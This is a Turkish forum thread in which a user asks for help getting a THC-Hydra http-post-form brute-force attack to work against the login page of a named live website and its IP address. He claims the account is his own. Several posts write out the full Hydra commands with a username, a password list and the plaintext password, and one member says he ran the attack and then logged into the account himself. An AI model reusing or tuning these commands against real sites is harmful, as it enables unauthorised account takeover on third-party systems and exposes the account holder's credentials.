Hydra kullanımı ile alakalı bir sorun

'Soru & Cevap' forumunda Valryon tarafından 29 Kasım 2019 tarihinde açılan konu

  1. Valryon

    Valryon New Member

    Katılım:
    29 Kasım 2019
    Mesaj:
    9
    Beğeniler:
    0
    Ödül Puanları:
    1
    Cinsiyet:
    Erkek
    Merhaba arkadaşlar.
    Hydra ile alakalı bir sorum var

    hedef site www.x1000.aspidanetwork.com kırmak istediğim hesap ise kendime ait. Şifresi doğru bir şekilde .txt dosyasında bulunuyor ancak olumlu bir sonuç alamıyorum. Nerede hata yaptığımı, ne yapmam gerektiğini anlatabilecek biri var mı acaba ?

    hydra -l amip -P /root/Desktop/sifre.txt 151.80.147.156 http-post-form "/login.htm:page=login&GetTimeVal=&URL=^PASS^:F=Login" -V


    [DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:1/p:4), ~1 try per task
    [DATA] attacking http-post-form://151.80.147.156:80/login.htm:page=login&GetTimeVal=&URL=^PASS^:F=Login
    [ATTEMPT] target 151.80.147.156 - login "amip" - pass "dts123" - 1 of 4 [child 0] (0/0)
    [ATTEMPT] target 151.80.147.156 - login "amip" - pass "dtsdts" - 2 of 4 [child 1] (0/0)
    [ATTEMPT] target 151.80.147.156 - login "amip" - pass "dts123dts" - 3 of 4 [child 2] (0/0)
    [ATTEMPT] target 151.80.147.156 - login "amip" - pass "19742000" - 4 of 4 [child 3] (0/0)
    1 of 1 target completed, 0 valid passwords found
     
  2. Comedy

    Comedy Albay

    Katılım:
    15 Ağustos 2015
    Mesaj:
    105
    Beğeniler:
    3
    Ödül Puanları:
    18
    Şehir:
    Belirtilmemiş
    anlayan biri yardımcı olacaktır :)
     
  3. Comedy

    Comedy Albay

    Katılım:
    15 Ağustos 2015
    Mesaj:
    105
    Beğeniler:
    3
    Ödül Puanları:
    18
    Şehir:
    Belirtilmemiş
    bu linkten kullanımına bakabilirsin.

    Kod:
    https://github.com/vanhauser-thc/thc-hydra
     
  4. Valryon

    Valryon New Member

    Katılım:
    29 Kasım 2019
    Mesaj:
    9
    Beğeniler:
    0
    Ödül Puanları:
    1
    Cinsiyet:
    Erkek
    teşekkürler. bu linkte yüzeysel bilgiler anlatılıyor, benim sorunum daha farklı. nerede hata yaptığımı, ne yapmam gerektiğini öğrenmek istiyorum...
     
  5. KaliBot

    KaliBot Moderator

    Katılım:
    30 Haziran 2015
    Mesaj:
    576
    Beğeniler:
    71
    Ödül Puanları:
    12
    Giriş yaparken burpsuite proxy ile araya girip giriş aşamasında gönderilen isteğe göre komutunu yeniden düzenleyip tekrar denermisin olmadı müsait zamanda bakalım ek olarak veridğiniz ip adresi server tarafında şuan çalışmıyor olarak görünmektedir. ip adresinide kontrol edin.
     
  6. Valryon

    Valryon New Member

    Katılım:
    29 Kasım 2019
    Mesaj:
    9
    Beğeniler:
    0
    Ödül Puanları:
    1
    Cinsiyet:
    Erkek
    Remote Address:
    151.80.147.156:80

    server ip adresi bu olarak çıkıyor hocam, ona ben de dikkat ettim, çalışmıyor gözüküyor ama aktif.
    ben kali dünyasına yeni girdim, ufak bir merak ve heves diyelim. irdeleyebildiğim kadar irdeliyorum konuları, araştırıyorum ama bazı noktalarda çıkmaza giriyorum, bu noktada sizin gibi bilgili birisi yardım ederse çok sevinirim.
    Burpsuite ile ilgili olarak programın kendisinden de brute force yapmayı denedim ancak bir sonuç vermiyor. connection closed hatası veriyor login denemeleri, komut düzenlemekle alakalı pek bir bilgim yok. Internette izlediğim, araştıdığım çoğu şey, test serverları üstünden gerçekleşiyor. test serverlarında çıkan komutlar bu sitede veya başka bir sitede çıkmıyor. bu noktada bilgiye ihtiyacım var..
     
  7. Comedy

    Comedy Albay

    Katılım:
    15 Ağustos 2015
    Mesaj:
    105
    Beğeniler:
    3
    Ödül Puanları:
    18
    Şehir:
    Belirtilmemiş
    ben az önce denedim herhangi bir sorun çıkmadı..
    ancak ip adresinde hata verdi.
    ip adresi yerine www.x1000.aspidanetwork.com
    şeklinde denermisin..


    Kod:
    root@Comedy:~# hydra -l amip -p 19742000 www.x1000.aspidanetwork.com http-post-form "/login.htm:page=login&GetTimeVal=&URL=^PASS^:F=Login" -V
    
     
  8. Valryon

    Valryon New Member

    Katılım:
    29 Kasım 2019
    Mesaj:
    9
    Beğeniler:
    0
    Ödül Puanları:
    1
    Cinsiyet:
    Erkek
    söylediğiniz gibi ip yerine site ismi koyduğumda yine şifre doğru olmasına rağmen şifre bulamıyor. Sizde doğru gösteriyor mu acaba ?
    http-post-form "/login.htm:page=login&GetTimeVal=&URL=^PASS^:F=Login"
    şu kısımda bir hata yapıyorum gibi ancak işin içinden çıkamadım.
     
  9. Comedy

    Comedy Albay

    Katılım:
    15 Ağustos 2015
    Mesaj:
    105
    Beğeniler:
    3
    Ödül Puanları:
    18
    Şehir:
    Belirtilmemiş
    evet bende doğruyu gösterdi
    hatta siteye girip baktım hakikaten giriş yaptı :D

    [ATTEMPT] target www.x1000.aspidanetwork.com - login "amip" - pass "19742000"
     
  10. Valryon

    Valryon New Member

    Katılım:
    29 Kasım 2019
    Mesaj:
    9
    Beğeniler:
    0
    Ödül Puanları:
    1
    Cinsiyet:
    Erkek
    1 of 1 target completed, 0 valid passwords found
    ben ise böyle bir hata alıyorum, siz bu satırda 1 valid passwordu görüyorsunuz hocam öyle mi ?
    eğer öyleyse programda bir sıkıntı var sanki
     
  11. KaliBot

    KaliBot Moderator

    Katılım:
    30 Haziran 2015
    Mesaj:
    576
    Beğeniler:
    71
    Ödül Puanları:
    12
    Tüm paketlerinizi güncelleyip tekrar kontrol edermisiniz. Eğer olmaz ise uygulamalı bir şekilde yardımcı olalım.
     
  12. Valryon

    Valryon New Member

    Katılım:
    29 Kasım 2019
    Mesaj:
    9
    Beğeniler:
    0
    Ödül Puanları:
    1
    Cinsiyet:
    Erkek
    güncellendi, aynı hata...
     
  13. KaliBot

    KaliBot Moderator

    Katılım:
    30 Haziran 2015
    Mesaj:
    576
    Beğeniler:
    71
    Ödül Puanları:
    12
    Haftasonu uygun bir zamanda berbaer inceleyelim hatanın ne olduğunu tespit edelim.
     
  14. Valryon

    Valryon New Member

    Katılım:
    29 Kasım 2019
    Mesaj:
    9
    Beğeniler:
    0
    Ödül Puanları:
    1
    Cinsiyet:
    Erkek
    mesajınızı bekliyorum hocam.
     
  15. Valryon

    Valryon New Member

    Katılım:
    29 Kasım 2019
    Mesaj:
    9
    Beğeniler:
    0
    Ödül Puanları:
    1
    Cinsiyet:
    Erkek
    yardımcı olabilecek birileri hala aranıyor...
     
  16. KaliBot

    KaliBot Moderator

    Katılım:
    30 Haziran 2015
    Mesaj:
    576
    Beğeniler:
    71
    Ödül Puanları:
    12
    Yarın akşam 10 gibi beraber bakalım bakmadan önce teamviever kurmanızı rica ederim.
     
  17. Comedy

    Comedy Albay

    Katılım:
    15 Ağustos 2015
    Mesaj:
    105
    Beğeniler:
    3
    Ödül Puanları:
    18
    Şehir:
    Belirtilmemiş
    sorun devam ediyormu ?

    yoksa çözüldü mü

    [​IMG]
     
    MrX bunu beğendi.
  18. Valryon

    Valryon New Member

    Katılım:
    29 Kasım 2019
    Mesaj:
    9
    Beğeniler:
    0
    Ödül Puanları:
    1
    Cinsiyet:
    Erkek

    devam ediyor, işin içinden çıkamadım valla.
    benim yerime login page yerinin hydra komutunu düzenleyebilen ve en önemlisi nasıl yapıldığını bana açıklayabilen olursa büyük iyilik yapmış olur..
     

Bu Sayfayı Paylaş